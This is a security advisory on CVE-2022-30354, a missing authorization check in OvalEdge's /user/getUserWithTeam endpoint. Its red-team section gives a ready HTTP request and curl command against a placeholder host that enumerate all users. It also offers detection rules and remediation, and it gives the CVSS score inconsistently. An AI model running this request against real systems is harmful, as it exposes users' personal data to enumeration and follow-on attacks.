CVE-2022-30354

Executive Summary

CVE-2022-30354 is a sensitive data exposure vulnerability in OvalEdge versions 5.2.8.0 and earlier. An authenticated attacker can exploit this flaw by sending a GET request to the /user/getUserWithTeam endpoint, which discloses sensitive information associated with all registered user ID numbers. This includes user details that could be leveraged for further attacks, such as social engineering or credential stuffing. The vulnerability has a CVSS score of 0.0 (placeholder), but based on the impact, it is assessed as a medium-severity information disclosure issue. No patch is currently available from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required to exploit.
• Privileges Required (PR): Low (L) – Authentication is required, but any authenticated user can exploit.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Sensitive user data is exposed.
• Integrity (I): None (N) – No data modification is possible.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium (6.5) – The requirement for authentication reduces the attack surface, but the exposure of sensitive data can lead to significant downstream attacks.

Deep Dive & Mechanics

The vulnerability resides in the /user/getUserWithTeam API endpoint of OvalEdge. This endpoint is designed to return user information, but it fails to properly restrict the data returned based on the requesting user's privileges. Instead of returning only the requesting user's own data or team members, it returns details for all registered users, including user ID numbers, usernames, email addresses, and potentially other sensitive fields.

The root cause is a lack of authorization checks on the server side. The endpoint likely queries the database for all users without filtering based on the authenticated user's role or team membership. An attacker with any valid account can enumerate all users and gather information for targeted attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@GET
@Path("/getUserWithTeam")
public Response getUserWithTeam() {
    List<User> users = userDAO.getAllUsers(); // No authorization check
    return Response.ok(users).build();
}

Patched Code (Conceptual):

@GET
@Path("/getUserWithTeam")
public Response getUserWithTeam(@Context SecurityContext securityContext) {
    String currentUser = securityContext.getUserPrincipal().getName();
    List<User> users = userDAO.getUsersForTeam(currentUser); // Filter by team
    return Response.ok(users).build();
}

The patched version should implement proper authorization, ensuring that only users belonging to the same team or with appropriate roles can access the data. The exact patch details are unknown as the vendor has not released a fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid OvalEdge user credentials (any role).
• Network access to the OvalEdge instance.

Exploitation Steps:

1. Authenticate to the OvalEdge application and obtain a session token or cookie.
2. Send a GET request to the vulnerable endpoint:

   GET /user/getUserWithTeam HTTP/1.1
   Host: target-ovaledge.com
   Cookie: JSESSIONID=valid_session_id
   

3. The response will contain a JSON array of all registered users with their details.

Example cURL Command:

curl -X GET "https://target-ovaledge.com/user/getUserWithTeam" \
  -H "Cookie: JSESSIONID=valid_session_id" \
  -H "Accept: application/json"

Expected Output:

[
  {
    "userId": 1,
    "username": "admin",
    "email": "admin@example.com",
    "role": "Administrator"
  },
  {
    "userId": 2,
    "username": "jdoe",
    "email": "jdoe@example.com",
    "role": "User"
  }
]

Blue Team

Detection:

• Monitor for unusual GET requests to /user/getUserWithTeam from non-admin accounts.
• Alert on bulk enumeration patterns (e.g., multiple requests to this endpoint in a short time).

Hunting:

• Review web server logs for requests to /user/getUserWithTeam and correlate with user roles.
• Check for anomalous data access patterns, such as a regular user accessing this endpoint repeatedly.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /user/getUserWithTeam with a valid session cookie.
• Logs: Web server access logs showing requests to /user/getUserWithTeam from IP addresses not associated with administrators.
• Response: JSON responses containing arrays of user objects with fields like userId, username, email, and role.

Detection Engineering

YARA Rule

rule CVE_2022_30354_OvalEdge_DataExposure {
    meta:
        description = "Detects OvalEdge sensitive data exposure via /user/getUserWithTeam"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-30354"
    strings:
        $endpoint = "/user/getUserWithTeam"
        $json_pattern = /"userId":\d+,"username":"[^"]+","email":"[^"]+"/
    condition:
        $endpoint and $json_pattern
}

Sigma Rule

title: OvalEdge Sensitive Data Exposure via /user/getUserWithTeam
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects GET requests to the vulnerable endpoint
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-stem: '/user/getUserWithTeam'
    condition: selection
falsepositives:
    - Legitimate admin usage
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-30354 OvalEdge Sensitive Data Exposure"; flow:to_server,established; content:"GET"; http_method; content:"/user/getUserWithTeam"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Use a web application firewall (WAF) to block requests to /user/getUserWithTeam from non-admin IP addresses.
2. Disable Endpoint: If possible, disable the /user/getUserWithTeam endpoint until a patch is available.
3. Review User Accounts: Audit all user accounts and remove any that are not necessary.

Long-Term Fix:

• Apply proper authorization checks to the endpoint, ensuring that only users with the appropriate role (e.g., admin) can access all user data.
• Implement role-based access control (RBAC) for all API endpoints.
• Contact OvalEdge for an official patch or upgrade to a version beyond 5.2.8.0 if available.

Compensating Controls:

• Enable detailed logging and monitoring for this endpoint.
• Implement rate limiting to prevent bulk enumeration.

Valters IT
DevSecOps & Cyber Threat Intelligence